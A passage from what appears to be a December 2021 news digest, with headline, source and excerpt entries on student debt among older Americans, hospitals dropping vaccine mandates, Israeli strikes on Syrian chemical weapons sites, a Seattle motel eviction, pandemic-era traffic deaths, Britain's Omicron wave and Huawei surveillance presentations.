“I have to work just to keep paying my regular bills,” said Luebbe.

Ted Newman of Columbus, Ohio, is a retired state government employee, but continued working full-time through his retirement, along with his wife, for the past eight years.

“I have been working full-time for the last 8 years since retiring, and my wife also. Her yearly salary went almost completely to pay student debt and I worked to have extras for the home,” said Newman.

When Covid-19 hit, his wife stopped working and he shifted to part-time due to health conditions. They paid about \$1,000 toward parent plus loans for their daughter’s tuition for years, but still owe the principal of the loan.

“Now our income is cut in half and our loans will be coming due again in 2022,” added Newman. “I can’t live long enough to pay the debt and plan to let it go to default because I can’t afford to pay it any more.”

As the US population ages, with millions of Americans having no retirement savings, the number of older Americans with student debt, either for themselves or for children, is on the rise.

Nearly 9 million Americans ages 50 and older still have student debt, and the amount owed by this demographic is growing faster than any other age group. In 2015, 40,000 Americans had their social security retirement benefits garnished for student loans.

Jane Switchenko, 63, of Massachusetts, and her 68-year-old husband cannot afford to retire, in part because of parent plus student loans they took out for their children to attend college.

“My husband and I must work until we die. Parent plus loans take over \$1,000 a month, every month, for a decade now and we continue to see a rising balance,” said Switchenko. “Not only can we not retire, we cannot afford to fix our old house – we are desperate for new windows, have a leaking chimney and need new electrical work done.”

She added: “We work hard. We are frugal, but we’re getting up there and have nothing to look forward to because of these loans. We have five grandchildren and don’t know what we’ll be able to buy for Christmas.”

HEADLINE	12/13 Some hospitals drop vaccine mandates
SOURCE	https://www.wsj.com/articles/some-hospitals-drop-covid-19-vaccine-mandates-to-ease-labor-shortages-11639396806?mod=hp_lead_pos1
GIST	<p>Some of the largest U.S. hospital systems have dropped Covid-19 vaccine mandates for staff after a federal judge temporarily halted a Biden administration mandate that healthcare workers get the shots.</p> <p>Hospital operators including HCA Healthcare Inc. and Tenet Healthcare Corp. as well as nonprofits AdventHealth and the Cleveland Clinic are dropping the mandates. Labor costs in the industry have soared, and hospitals struggled to retain enough nurses, technicians and even janitors to handle higher hospitalizations in recent months as the Delta variant raged. Vaccine mandates have been a factor constraining the supply of healthcare workers, according to hospital executives, public-health authorities and nursing groups.</p> <p>Many hospitals already struggled to find workers, including nurses, before the pandemic. The shortages were compounded by burnout among many medical workers and the lure of high pay rates offered to nurses who travel to hot spots on short-term contracts.</p> <p>More recently, thousands of nurses have left the industry or lost their jobs rather than get vaccinated. As of September, 30% of workers at more than 2,000 hospitals across the country surveyed by the Centers for Disease Control and Prevention were unvaccinated.</p> <p>“It’s been a mass exodus, and a lot of people in the healthcare industry are willing to go and shop around,” said Wade Symons, an employee-benefits lawyer and head of consulting firm Mercer’s U.S. regulatory practice. “If you get certain healthcare facilities that don’t require it, those could be a magnet for those people who don’t want the vaccine. They’ll probably have an easier time attracting labor.”</p> <p>A federal judge in Louisiana ruled in November that the Centers for Medicare and Medicaid Services didn’t have the authority to mandate vaccines for healthcare workers, blocking a Biden administration rule that affected some 10 million workers. The mandate had required all workers at facilities that participate in Medicare and Medicaid to get second shots by Jan. 4. The American Hospital Association estimates that 42% of U.S. hospitals, some 2,640 facilities, have Covid-19 vaccine mandates in place.</p> <p>“I don’t think the mandates were helpful and I think the court in Louisiana did everyone a service,” said Alan Levine, chief executive officer of Ballad Health, which runs 21 hospitals in Tennessee and Virginia.</p> <p>Mr. Levine said his company has about 14,000 employees, some 2,000 of whom are unvaccinated or didn’t request an exemption to the requirement. “That many people having to be terminated would have been devastating to our system,” Mr. Levine said.</p> <p>HCA, among the country’s largest healthcare providers by number of hospitals, said in November that all employees needed to get vaccinated by the Jan. 4 federal deadline. HCA said it suspended its vaccine requirement after courts halted the federal mandate.</p> <p>“We continue to strongly encourage our colleagues to be vaccinated as a critical step to protect individuals from the virus,” HCA spokesman Harlow Sumerford said. He said a majority of HCA’s roughly 275,000 employees are fully vaccinated.</p> <p>AdventHealth and Tenet also said they wouldn’t require employees to be vaccinated after the court decision. Workers in states that mandate vaccination must comply with local laws, HCA and Tenet said.</p> <p>The Cleveland Clinic, which has 19 hospitals in Ohio and Florida and about 65,000 U.S. employees, and Utah hospital giant Intermountain Healthcare also said they would suspend vaccine requirements following the courts’ actions. The Cleveland Clinic said it would add safety measures, such as periodic testing for unvaccinated employees who care for patients. Intermountain said 98% of its workforce had complied with the federal mandate.</p>

	<p>Research into vaccine mandates has shown them to be largely effective. Psychologists at the University of Pennsylvania published research in the journal Nature in October showing that vaccine mandates were more likely to prompt workers to get a shot than to discourage them from doing so.</p> <p>A study published Wednesday in the New England Journal of Medicine found that Covid-19 cases and deaths were higher among residents of nursing homes with the lowest rates of staff vaccination. Researchers found that during the summer of 2021, 4,775 Covid-19 cases and 703 nursing-home-resident deaths from the illness could have been prevented if nursing-home staff had higher vaccination rates.</p> <p>Not all hospital systems have scratched the mandate. Kaiser Permanente, which runs 39 hospitals and hundreds of medical offices in California and other states and employs nearly 210,000 people, said it gave employees until Dec. 1 to get vaccinated. So far, 98% of staff are vaccinated, but on Wednesday the hospital system terminated 352 employees, and another 1,500 face termination in early January unless they become fully vaccinated or receive an exemption, Kaiser said.</p> <p>Northwell Health, New York state's largest healthcare provider with 77,000 employees, said its mandate remains in place. In October, Northwell told The Wall Street Journal that 1,400 employees had been terminated for refusing to get vaccinated.</p> <p>"We will not hire anyone who has not been vaccinated," a spokesman said.</p>
Return to Top	

HEADLINE	12/13 Israel hit Syria chemical weapons sites?
SOURCE	https://www.washingtonpost.com/national-security/israel-syria-chemical-weapons/2021/12/13/8ed0b02c-59ea-11ec-a808-3197a22b19fa_story.html
GIST	<p>Just after midnight on June 8, Israeli warplanes streaked across the country's northern frontier for a highly unusual airstrike deep inside Syrian territory. The jets fired missiles at three military targets near the cities of Damascus and Homs, killing seven soldiers, including a colonel described in local news accounts as a "hero martyr" and an engineer who worked at a top-secret Syrian military lab.</p> <p>The Israel Defense Forces, following standard practice, declined to comment on the incursion into Syrian airspace. But intelligence analysts in Western capitals quickly observed a distinction in the operation: While previous Israeli attacks in Syria nearly always targeted Iranian proxy forces and arms shipments, the June 8 strike was aimed at Syrian military facilities — all with links to the country's former chemical weapons program.</p> <p>An explanation emerged in the weeks that followed. According to current and former intelligence and security officials briefed on the matter, the June 8 strike was part of a campaign to stop what Israeli officials believe was a nascent attempt by Syria to restart its production of deadly nerve agents.</p> <p>Israeli officials ordered the raid, and a similar one a year earlier, based on intelligence suggesting that Syria's government was acquiring chemical precursors and other supplies needed to rebuild the chemical-weapons capability that it had ostensibly given up eight years ago, according to four current and former U.S. and Western intelligence officials with access to sensitive intelligence at the time of the strikes. They spoke on the condition of anonymity to discuss classified material and their understanding of Israeli deliberations.</p> <p>The attacks reflected grave concerns that arose within Israeli intelligence agencies beginning two years ago, after a successful attempt by Syria's military to import a key chemical that can be used to make deadly sarin gas, the officials said. The worries grew as intelligence operatives spotted activity at multiple sites that pointed to a rebuilding effort, the officials said.</p> <p>Asked for comment, Israeli officials would neither confirm the attacks nor elaborate on the reasons behind them. Syria strongly condemned the Israeli attacks at the time, and government officials have repeatedly denied using, or making, chemical weapons since 2013.</p>

The prospect of a reconstituted chemical weapons program in Syria is regarded as a direct threat to the security of Israel, and perhaps other neighboring countries. While [Syrian leader Bashar al-Assad](#) famously used chemical weapons against his own citizens dozens of times since the start of the country's civil war, Syria's once-vast chemical arsenal was originally intended for use in a future war with Israel.

"It is a strategic weapon for the regime," said a Western intelligence official, summarizing the consensus among spy agencies that closely monitor Syria's weapons procurement efforts.

Rebuilding a chemical weapons capability

The first of the two Israeli airstrikes occurred on March 5, 2020, and targeted a villa and compound in a suburb southeast of the city of Homs, about 100 miles north of Damascus, the officials said. Syria's third-largest city, Homs was a previous hub for Syria's chemical-weapons production.

The strike on the villa was directly tied to Syria's successful procurement the previous year of a large quantity of tricalcium phosphate, according to two Western intelligence officials. The chemical, commonly known as TCP, has numerous nonmilitary uses, including as a food additive. But it can be readily converted into phosphorous trichloride, a heavily regulated compound that is restricted from import into Syria because of its known use as a precursor for sarin and other nerve agents.

The ultimate recipient of the TCP, the officials said, was a Syrian military unit known as Branch 450, a division of Syria's top military laboratory, the Scientific Studies and Research Center. The SSRC oversaw production of Syria's chemical weapons from the 1980s until at least 2014, when the program was officially dismantled under an agreement brokered by the United States and Russia.

Intelligence intercepts in the months following the March 2020 strike led to the discovery of additional sites, and what Israelis believed to be an ongoing effort to rebuild Syria's chemical weapons capability, the two Western officials said.

"There were more signs of them going back into production," one of the officials said.

The June 8 strike targeted a military storage bunker near An Nasiriyah, a desert village north of Damascus, and two additional sites near Homs. Of those two, one was described as an auxiliary facility for the SSRC's military laboratory in Masyaf, about 40 miles northwest of Homs.

Syrian news reports listed seven military casualties from that strike, including a Syrian colonel — posthumously promoted to brigadier general — identified as the "hero martyr" Ayham Ismail. The dead officer was said to be a military engineer assigned to the Masyaf complex.

Whether the attacks were fully successful in disrupting Syria's plans is unclear. Israeli officials intended the strikes to be preemptive, knocking out the country's production capabilities before actual weapons could be made, the two Western intelligence officials said. Any effort to bomb an existing stockpile of nerve agents risks unleashing plumes of lethal gases that can spread to nearby towns and villages.

Senior officials in both the Trump and Biden administrations became aware of the attacks and the underlying intelligence shortly after the strikes, current and former officials said. U.S. intelligence officials long suspected that Syria was retaining, if not rebuilding, key aspects of its chemical-weapons capability. State Department officials in 2019 publicly accused Syria of secretly continuing its chemical-weapons program, citing in particular a chlorine-gas attack against opposition fighters that year.

The Biden White House is nearing completion of a comprehensive Syria policy review, one that is expected to call for punishing Assad for both past and ongoing violations of Syria's treaty obligations under the Chemical Weapons Convention.

“The administration has stated that it will hold Assad accountable for his actions,” said Ambassador James Jeffrey, a veteran U.S. diplomat who oversaw diplomacy with Syria during the final two years of the Trump administration. “This should certainly include the evidence presented by [former Secretary of State Mike] Pompeo and others ... that Assad is trying to reconstitute his chemical weapons.”

Human rights groups and independent investigators have previously accused the Assad regime of maintaining at least a latent ability to attack civilians with poison gases.

“Syria still has a chemical weapons stockpile, retains the capacity to produce chemical weapons today, and has the ability to carry out chemical weapons attacks on civilians,” said Steve Kostas, a lawyer for the Open Society Justice Initiative, a nonprofit that seeks prosecution for perpetrators of chemical warfare. Kostas cited as evidence Syria’s “undeclared production capacity” and repeated efforts to obstruct fact-finding missions by the Organization for the Prohibition of Chemical Weapons, The Hague-based international watchdog that investigates chemical attacks.

At the time of the outbreak of Syria’s civil war in 2011, Damascus controlled one of the world’s largest and most advanced stockpiles of chemical weapons, including hundreds of tons of binary sarin and VX, two of the deadliest chemical warfare agents ever made.

The Syrian government repurposed its chemical arsenal for use in attacks against anti-Assad rebels, and it shocked world in August 2013 with a massive sarin attack that killed an estimated 1,400 civilians — mostly women and children — in the Damascus suburbs. Faced with a threatened military strike by President Barack Obama, Assad agreed to renounce chemical weapons and to allow international inspectors to oversee the destruction of his entire weapons stockpile, along with all production centers and manufacturing equipment.

[In an unprecedented international operation](#), some 1,300 tons of chemical agents were hauled out of Syria to be destroyed in incinerators aboard a specially modified U.S. ship in the Mediterranean Sea.

Yet Assad continued to use chemical weapons — chiefly the common industrial chemical chlorine, a crude substitute for deadlier nerve agents — in more than 200 attacks against rebel strongholds. The attacks persisted despite warnings by the Obama administration and despite two airstrikes on Syrian military installations ordered by President Donald Trump.

Assad also preserved a small portion of his sarin stockpile and used some of it on at least two occasions after 2017, U.S. intelligence officials later concluded. Since 2018, there have been numerous reports about alleged Syrian efforts to manufacture new chemical weapons, but without proof.

Weapons experts note that allegations about secret biological and chemical programs often turn out to be inaccurate, as U.S. intelligence agencies discovered after the U.S. invasion of Iraq in 2003. Syria’s efforts to obtain the dual-use chemical TCP, is not, on its own, a smoking gun, observed Greg Koblenz, an associate professor and biodefense expert at George Mason University’s Schar School of Public Policy and Government.

“Syria’s procurement of this chemical, even through black-market channels, is not indicative of a nefarious purpose,” Koblenz said. In the case of Syria, however, the allegation appears more credible because of the Assad regime’s well-established record of cheating on its treaty obligations, he said. “Syria has been hiding key components of its chemical weapons program ever since it signed the Chemical Weapons Convention in 2013,” Koblenz said.

In the beginning, Assad may have decided to preserve his best weapons as a kind of insurance policy against the collapse of the regime. But now that Syria has regained control over most of its territory, he said, “it makes sense that the Assad regime would want to rebuild its chemical-weapons program to serve once again as a strategic deterrent against its longtime adversary, Israel.”

HEADLINE	12/13 KCSO evicts squatters from Seattle motel
SOURCE	https://www.seattletimes.com/seattle-news/law-justice/sheriffs-deputies-evict-squatters-from-the-hillside-motel-on-aurora-avenue-north/
GIST	<p>A line of King County sheriff's vehicles pulled up outside the Hillside Motel on Seattle's Aurora Avenue North just after sunrise. Moments later, deputies pounded on doors and kicked in a couple of them, evicting a handful of squatters who had ignored a court order to vacate.</p> <p>Over the next hour, gloved volunteers scooped up personal belongings that had been left behind, put them into trash bags and piled them on the curb. A leaf blower, a foot bath and a wheelchair — the letters "HMC" stamped on the back in white, showing it had come from Harborview Medical Center — along with clothes, shoes and children's school supplies were among the items carted outside.</p> <p>Several knives and at least one machete were turned over to deputies for safekeeping. Volunteers backed out of one room after finding a bunch of used syringes. Though no drugs were seized, a digital scale and other paraphernalia were handed off to a narcotics detective.</p> <p>"This has been a very smooth operation," said sheriff's Sgt. Bob Lurry, a member of the civil unit responsible for serving eviction notices across the county, as several motorists drove by and tapped their horns and gave a thumbs-up in apparent appreciation for Saturday's eviction effort.</p> <p>The Hillside Motel, at 2451 Aurora Ave. N., and the now-vacant apartment building next door, have long been hubs for drug dealing, prostitution and the trafficking of stolen goods, according to police, court records and neighbors. Things got even worse after the owner of the two distressed properties defaulted on his loans following a deadly arson in July 2020 at the apartment building and the 11-unit motel was taken over by pimps and drug dealers, Aaron Cunningham, the co-founder and CEO of Inland Capital, told The Seattle Times in October.</p> <p>Inland Capital is a Spokane-based, private money-lending company that typically provides short-term loans to real estate investors to rehabilitate and rebrand their properties. The company foreclosed on the properties in July and has been working to ready them for sale.</p> <p>Beginning in September, the motel's occupants were notified that they would need to vacate and members of the sheriff's civil unit went to the property several times and provided people living there with information about services and alternative housing. Several of the occupants were represented in court by an attorney with the Housing Justice Project, a program run by the King County Bar Association.</p> <p>A voice message left for the occupants' attorney was not returned, so it's not known where most of the people ended up. A group of four or five who exited the motel Saturday morning quickly departed.</p> <p>A King County Superior Court commissioner signed a writ of restitution Nov. 18, upholding Inland's right to exclusive possession of the motel and giving sheriff's deputies legal authority to "break and enter" into all but two of the units, court records show. A second order signed by a judge on Thursday could be served as early as this week to force the occupants of the two remaining motel rooms to leave, according to court records and sheriff's officials.</p> <p>Jason Delp, Inland's chief operating officer, and Austyn Cunningham, the CEO's brother, traveled from Spokane to document the eviction and oversee a team of construction workers, who set up sawhorses in the parking lot and cut plywood that was glued and screwed over the motel's doorways and windows.</p> <p>Though many of the units had been previously boarded up, bits of torn plywood and old fasteners in door frames were all that remained of those earlier efforts.</p> <p>One unit on the end had been all but cleared out by its occupant, save for a smashed jar of grape jelly and cereal that crunched underfoot. Next door, dirty dishes were piled in the bathroom sink and a makeup bag and hot plate had been left behind in a room roughly 10 feet by 15 feet.</p>

A worker used a drill and crowbar to force open the door to what was once the manager's office, where a hunting knife was embedded in one wall and clothes and trash were piled knee-deep on the floor. The top of a dresser was littered with bits of burned tin foil, which is typically used to heat and smoke fentanyl pills. It did not appear anyone had lived there for some time.

"I don't think we can stop people from doing what they're going to do ... [but] we're doing the best we can to deter it," said Delp, noting that thicker plywood was used this time and concrete blocks were hoisted into a line to stop cars from pulling into the parking lot.

Though an online auction was held at the end of November to sell both properties, none of the bids met the minimum amount at which Inland was willing to sell, said Delp. Because squatters were still occupying the motel at the time of the auction, he said it wasn't safe for potential buyers to look around the properties or assess the steep hillside that rises behind the motel for possible development.

"A developer will want to come and see what they can and can't do," he said of the hill that marks the eastern slope of Queen Anne. "At a minimum, we've made progress for the neighborhood."

Creighton Carroll, a member of the Queen Anne Community Council, was among the volunteers who accompanied deputies to the motel. Despite the hum of power tools, Carroll said Saturday was the quietest he's ever seen the motel, with only a single vehicle — a newer SUV with an obvious bullet hole in the hood — parked outside.

"This criminal enterprise has really impacted the community," Carroll said of the drug and prostitution activity many in the neighborhood attribute to the Hillside's occupants. "Hopefully, they'll barricade this property once and for all."

[Return to Top](#)

HEADLINE	12/13 Car-crash deaths surged amid pandemic
SOURCE	https://www.seattletimes.com/nation-world/why-car-crash-deaths-have-surged-during-covid-19-pandemic/
GIST	<p>LOS ANGELES — It was a tally that shocked the experts: 38,680 deaths on U.S. roadways last year, the most since 2007 even though pandemic precautions had dramatically reduced driving.</p> <p>"This was completely unprecedented," said Ken Kolosh, a researcher at the nonprofit National Safety Council. "We didn't know what was happening."</p> <p>One possibility was that stressed-out Americans were releasing their anxieties on the wide-open roads. He guessed that fatal accidents would decline in 2021 when traffic returned.</p> <p>He was wrong. The latest evidence suggests that after decades of safety gains, the pandemic has made U.S. drivers more reckless — more likely to speed, drink or use drugs and leave their seat belts unbuckled.</p> <p>"I fear we've adopted some really unsafe driving habits, and they're going to persist," Kolosh said. "Our roads are less safe than they were pre-pandemic."</p> <p>Experts say that behavior on the road is likely a reflection of widespread feelings of isolation, loneliness and depression.</p> <p>"We might decide: What does a seat belt or another beer matter, anyway, when we're in the middle of a pandemic?" said Shannon Frattaroli, a researcher at Johns Hopkins Bloomberg School of Public Health.</p> <p>The rise in motor vehicle deaths lines up with other pandemic-era trends: Alcohol sales have soared, drug overdoses have set new records, and homicides have seen their biggest increase on record.</p>

COVID-19 marks “a sea change in psychology,” said Frank Farley, a professor of psychology at Temple University in Philadelphia, who views reckless driving as a form of rebellion — or what he calls “arousal breakout.”

“You’ve been cooped up, locked down, and have restrictions you chafe at,” he said. “So if you can have an arousal breakout, you want to take it.”

Before the pandemic, safety on U.S. roadways had been improving for decades, thanks to enforcement of seat belt laws and the advent of air bags, improved braking and stability control, and other safety features.

Even as the number of people on the roads increased and many states raised their speed limits, annual fatalities fell from around 55,000 in 1970 to 36,096 in 2019.

Then came the 7.2% rise in 2020, followed by an 18% jump in the first six months of this year, based on preliminary figures from the federal government.

What made last year’s increase so astonishing was that the total miles driven — an estimate calculated by sampling traffic on various roadways — fell by more than 13% as cities locked down and more people worked from home.

For every 100 million miles driven last year, 1.37 people died, a 23% rise from 2019. Mileage estimates are not yet available for 2021.

Scattered across the country at a time when the nation’s attention is on COVID-19 deaths, traffic fatalities have attracted little public notice.

Yolanda Bozonier, 59, had just said good night to her grandchildren when a drunken driver slammed into her house in Pomona, killing her in her bed.

Best friends Kimani Foster, 20, and Dior Berkeley, 19, died together in the back seat of a speeding car that smashed into a tree in New York City’s Queens.

Sheria Musyoka, 26, said goodbye to his wife before going out for a morning jog in San Francisco, where he was struck and killed during a crash involving eight vehicles.

“We have white crosses marking the sides of the roads, and seeing those is the closest connection that many people will feel to this crisis,” said Paul Ravelin, a State Police patrol commander in Vermont, which saw fatalities jump 32% last year.

Left to probe the statistics, researchers have struggled to attribute the rise in deaths to any one factor.

Fatalities are up in both cities and rural areas. They’ve spiked on both highways and back roads. They’ve risen during the night and the day, weekdays and weekends. They climbed in every age group between 16 and 65.

They rose in 41 states — with South Dakota, Vermont, Arkansas and Rhode Island experiencing the biggest increases.

Still, some patterns have emerged.

Chief among them is that the death rate for Black people rose more than three times faster than the death rate overall, a disparity that could reflect a deeper sense of despair in the poorer communities hit hardest by the pandemic.

Fratraroli wondered whether it was related to a disproportionate number of Black people in the essential workforce, including delivery drivers who are “paid by how fast you can move.”

In one of the clearest indications of rising recklessness, fatal accidents involving just one vehicle also rose disproportionately.

The data also show an outsized increase in deadly accidents involving speeding, illegal substances or a failure to wear a seat belt.

Jonathan Adkins, executive director of the Governors Highway Safety Assn., a Washington nonprofit representing agencies nationwide, suggested that people's disregard for themselves and others on the road is part of a national decline in civility that accelerated during the pandemic.

"Anecdotally, we hear from governors' offices around the country that it's a symptom and a sign of the overall lack of consideration we're showing for other citizens, whether it be wearing masks, or not getting vaccinated, or how we drive," he said. "It's very aggressive. It's very selfish."

In California, which saw a 5% increase in fatalities last year, Highway Patrol officers issued nearly 28,500 tickets for speeds over 100 mph, almost double the 2019 total. They arrested 232 people for reckless driving — a 150% rise — and are on pace to exceed that this year.

Research based on crash investigations has shown that even a slight speed increase — say, from 50 mph to 56 mph — is enough to increase the driver's risk of death.

Since the start of the pandemic, a larger share of accident victims — including those who survived — have been ejected from their vehicles, typically because they were not wearing seat belts.

The increase in ejections was seen just as lockdowns began. Men have accounted for a disproportionate share.

Making the roads even more dangerous is rising drug and alcohol use. In one survey, more than 7% of adults said they were more likely to drive while impaired than they were before the pandemic.

Federal researchers who looked at accidents in which drivers were killed or seriously injured found that the proportion who tested positive for opioids nearly doubled after the pandemic began. Marijuana use also rose considerably.

Finally, more drivers are distracted. Researchers used GPS and other data to determine that drivers used their phones more frequently after the pandemic began, and that the problem only worsened over time.

As for reducing traffic deaths, there has not been a unified response from authorities.

Arizona, Arkansas and Georgia enacted legislation to crack down on street racing. Texas passed a law against "reckless driving exhibition," or performing stunts and spinning for a crowd of spectators.

But other states have loosened their driving laws. In Virginia, drivers can now go up to 85 mph — rather than 80 mph — before being charged with reckless driving. Motorists in Maine convicted of criminal negligence that results in a driving-related death now have their licenses suspended one year instead of three.

And nationwide, more than two dozen traffic safety bills proposed in 2020 and 2021 fell flat.

The deaths continue.

Victor Peterzen was riding the bicycle he had just received for his 10th birthday when he was hit and killed by a Jeep in Houston.

	<p>Monique Muñoz, 32, died when her car was nearly split in half by another vehicle when its teenage driver barreled through a Los Angeles intersection at more than 100 mph.</p> <p>Diana Granobles, 31, was driving to JFK airport in New York to pick up her husband when a drunken driver crashed into her car, killing her and their 10-year-old daughter, Isabella.</p>
Return to Top	

HEADLINE	12/13 Britain battles omicron 'tidal wave'
SOURCE	https://www.cnn.com/2021/12/13/uk/uk-omicron-infections-tidal-wave-gbr-intl/index.html
GIST	<p>London (CNN) Britain is facing a "tidal wave" of infections from the new Omicron coronavirus variant, ministers have warned, as they sound the alarm on rapid transmission rates in London and across the country.</p> <p>On Monday, UK Prime Minister Boris Johnson confirmed the country's first death of a person with the variant. He told reporters at a vaccination clinic: "I think the idea that this is somehow a milder version of the virus, I think that's something we need to set on one side and just recognize the sheer pace at which it accelerates through the population."</p> <p>The United Kingdom increased its Covid-19 alert level on Sunday and is once again accelerating its rollout of booster jabs in an effort to respond to the new wave of cases.</p> <p>Health Secretary Sajid Javid warned on Monday that the data on Omicron infections is unlike that of earlier variants.</p> <p>"It's spreading at a phenomenal rate, something that we've never seen before -- it's doubling every two to three days in infections," Javid told Sky News on Monday. He added that it was too soon to tell if cases of the new variant are milder.</p> <p>"That means we're facing a tidal wave of infection, we're once again in a race between the vaccine and the virus," he added, echoing language used by Johnson in a televised address on Sunday night.</p> <p>On Sunday, the Prime Minister set a new target of offering all adults a third shot by the end of December - a month earlier than originally planned. He had previously cut the interval between second and third doses from six months to three. The British government has focused its Covid response around the vaccine program since last summer, and had resisted reimposing restrictions until the Omicron variant came to light.</p> <p>"I'm afraid it is now clear that two doses of vaccine are simply not enough to give the level of protection we all need," Johnson said, citing early data that showed the effectiveness of a two-dose regimen is diminished by the new variant, but that boosters still provide a good level of protection.</p> <p>"No-one should be in any doubt: There is a tidal wave of Omicron coming," Johnson said. "But the good news is that our scientists are confident that with a third dose -- a booster dose -- we can all bring our level of protection back up."</p> <p>The UK has so far reported 3,137 cases of the Omicron variant, though the true number is likely to be higher. Javid said "about 10 people" are in hospital with the new variant. Overall, the country's seven-day rolling average of Covid-19 cases has surpassed 50,000 a day.</p> <p>Omicron was probably behind around 40% of infections in London, Javid said on Monday. But Johnson said that "tomorrow it'll be the majority of the cases," underlining how rapid the spread of the new strain has been in its first weeks in Britain.</p>

	<p>New guidelines asking people to work from home came into force on Monday. The UK has also brought back its mask mandate for shops and public transport, and now requires proof of vaccination or a negative test for attendees of large events.</p> <p>The recent flurry of new restrictions marks a sharp turn from the past few months, during which Johnson resisted Europe's turn towards long-term mitigation measures like vaccine passports and mask mandates.</p> <p>But the embattled Prime Minister has faced a significant rebellion from his own Conservative backbenchers over his move to reintroduce Covid rules, relying on support from the opposition Labour Party to pass them into law.</p> <p>Johnson is also embroiled in a scandal over reports that Downing Street held a number of staff parties last winter when the rest of the UK was living under strict rules banning social mixing. He has been forced to deny he fast-tracked Covid rules in order to distract from his political woes.</p>
	Return to Top

HEADLINE	12/14 Huawei link to China surveillance
SOURCE	https://www.washingtonpost.com/world/2021/12/14/huawei-surveillance-china/?utm_source=feedly&utm_medium=referral&utm_campaign=wp_homepage
GIST	<p>The Chinese tech giant Huawei Technologies has long brushed off questions about its role in China's state surveillance, saying it just sells general-purpose networking gear.</p> <p>A review by The Washington Post of more than 100 Huawei PowerPoint presentations, many marked "confidential," suggests that the company has had a broader role in tracking China's populace than it has acknowledged.</p> <p>These marketing presentations, posted to a public-facing Huawei website before the company removed them late last year, show Huawei pitching how its technologies can help government authorities identify individuals by voice, monitor political individuals of interest, manage ideological reeducation and labor schedules for prisoners, and help retailers track shoppers using facial recognition.</p> <p>"Huawei has no knowledge of the projects mentioned in the Washington Post report," the company said in a statement, after The Post shared some of the slides with Huawei representatives to seek comment. "Like all other major service providers, Huawei provides cloud platform services that comply with common industry standards."</p> <p>The divergence between Huawei's public disavowals that it doesn't know how its technology is used by customers, and the detailed accounts of surveillance operations on slides carrying the company's watermark, taps into long-standing concerns about lack of transparency at the world's largest vendor of telecommunications gear.</p> <p>Huawei has long been dogged by criticism that it is opaque and closer to the Chinese government than it claims. A number of Western governments have blocked Huawei gear from their new 5G telecom networks out of concern that the company may assist Beijing with intelligence-gathering, which Huawei denies.</p> <p>The new details on Huawei's surveillance products come amid growing concerns in China, and around the world, about the consequences of pervasive facial recognition and other biometric tracking. Even as the Chinese Communist Party continues to rely on such tools to root out dissent and maintain its one-party rule, it has warned against the technologies' misuse in the private sector.</p> <p>This autumn, under Beijing's pressure, Huawei and other tech giants pledged they would not abuse facial recognition and other surveillance tools, as a new law protecting personal data came into effect.</p>

Facebook [said](#) in November that it would shut down its facial recognition system and delete facial templates of more than a billion people, citing growing concerns about the technology. Last year, Microsoft, IBM and Amazon [announced](#) they would not sell facial recognition software to police until there was federal regulation, and Zoom [removed](#) an employee attention-tracking function.

Huawei said in its statement that it did not develop or sell systems that target any specific group of people and that it required all parts of the business, as well as partners, to comply with applicable laws and business ethics.

“Privacy protection is our top priority,” the company said.

The Post reviewed more than 3,000 PowerPoint slides from the presentations outlining surveillance projects co-developed by Huawei with partner vendors. Five of the most relevant slides are translated into English below, with original formatting retained. Each outlines a surveillance solution created in a partnership between Huawei and another company, with both companies’ technology.

The Post could not confirm whom the Chinese-language presentations were shown to, or when. Some of the slides showcase surveillance functions specific to police or government agencies, suggesting that Chinese government authorities may have been the intended audience. Many of the PowerPoints have a creation timestamp of Sept. 23, 2014, with the latest modifications to the files made in 2019 or 2020, according to the presentations’ metadata.

Each of the five presentations has a final slide stating a “Huawei Technologies Co., Ltd.” copyright, with dates ranging from 2016 to 2018.

The Chinese Embassy in Washington said criticism of Huawei was groundless. “Huawei has long publicly expressed its readiness to sign a ‘no back door’ agreement and to set up a cyber security assessment center in any country to receive external scrutiny,” it said. “So far, no other company has ever made the same commitment.”

China’s Ministry of Public Security, the Ministry of Industry and Information Technology, and the State Council Information Office did not respond to requests for comment.

Some of these surveillance products were listed in a Huawei online catalogue as of this month. Others have been removed from it but still showed up in government procurement documents or patent filings this year under the brand names of Huawei’s partner companies.

The Huawei slides shed light on the company’s role in five surveillance activities in China: voice recording analysis, detention center monitoring, location tracking of political individuals of interest, police surveillance in the Xinjiang region, and corporate tracking of employees and customers.

1. Voice recording analysis

[See full PDF and original document here](#)

This marketing presentation shows Huawei pitching its technology to assist authorities in analyzing voice recordings for national security purposes. (The term “national security” is broad in China, encompassing political dissent, religious gatherings, Hong Kong and Taiwan policy, ethnic relations and economic stability.)

This presentation, dated 2018, introduces the “iFlytek Voiceprint Management Platform,” co-developed by Huawei and iFlytek, a Chinese artificial-intelligence company. The system can identify individuals by comparing the sound of their voice against a large database of recorded “voiceprints.”

The slide above shows a first step to “extract or obtain the voice audio of the target,” without details of how that is accomplished. Another slide lists audio from “phone recordings” and “smartphone apps” as

inputs. It's unclear from the presentation if Huawei and iFlytek are involved in obtaining the voice audio or if the customer obtains it. iFlytek didn't respond to questions.

iFlytek [was one of 28 entities sanctioned](#) by the Commerce Department in October 2019 for human rights violations against Uyghurs, a Muslim ethnic minority in China, following reports by some Uyghurs that they were forced to make recordings of themselves speaking.

2. Prison and detention center monitoring

[See full PDF and original document here](#)

This marketing presentation appears to show that Huawei helped design some technical underpinnings for China's controversial reeducation and labor programs for detainees.

These programs raised international alarm starting in 2017, because of a sweeping drive against Uyghurs. Former detainees have alleged they were held without charges, tortured and required to work in factories as a condition of release. Similar practices have long been in place in China as part of punishment for political prisoners, but few details have emerged of how multinational companies are involved.

This product, named the "Huawei and Hewei Smart Prison Unified Platform," is a comprehensive prison surveillance system co-developed with another Chinese company, Shanghai Hewei Technology. In addition to physical security aspects such as video cameras and smart gates, the product includes software for managing the schedules of detainees, including their attendance of ideological reeducation classes and prison labor shifts, according to screenshots in the presentation.

The slide above shows a long list of functions that can be covered by the prison monitoring software, including "reeducation," "manufacturing labor" and "analysis and evaluation of reeducation efficacy."

Screenshots of the software showed detainees scheduled for cultural, technical and "ideological education." The software also could track production plans, revenue from prison labor and evaluations of the effects of labor reeducation, according to screenshots in the presentation. It was not clear if the schedules in the screenshots were sampled from real prisons in China or if they were mock-ups.

The presentation said this technology has been implemented in prisons in Inner Mongolia and Shanxi province, according to slides listing "success cases," as well as in "jiedusuo," or detention centers specifically for drug offenders, in the Xinjiang region.

Hewei declined to comment.

3. Location tracking

[See full PDF and original document here](#)

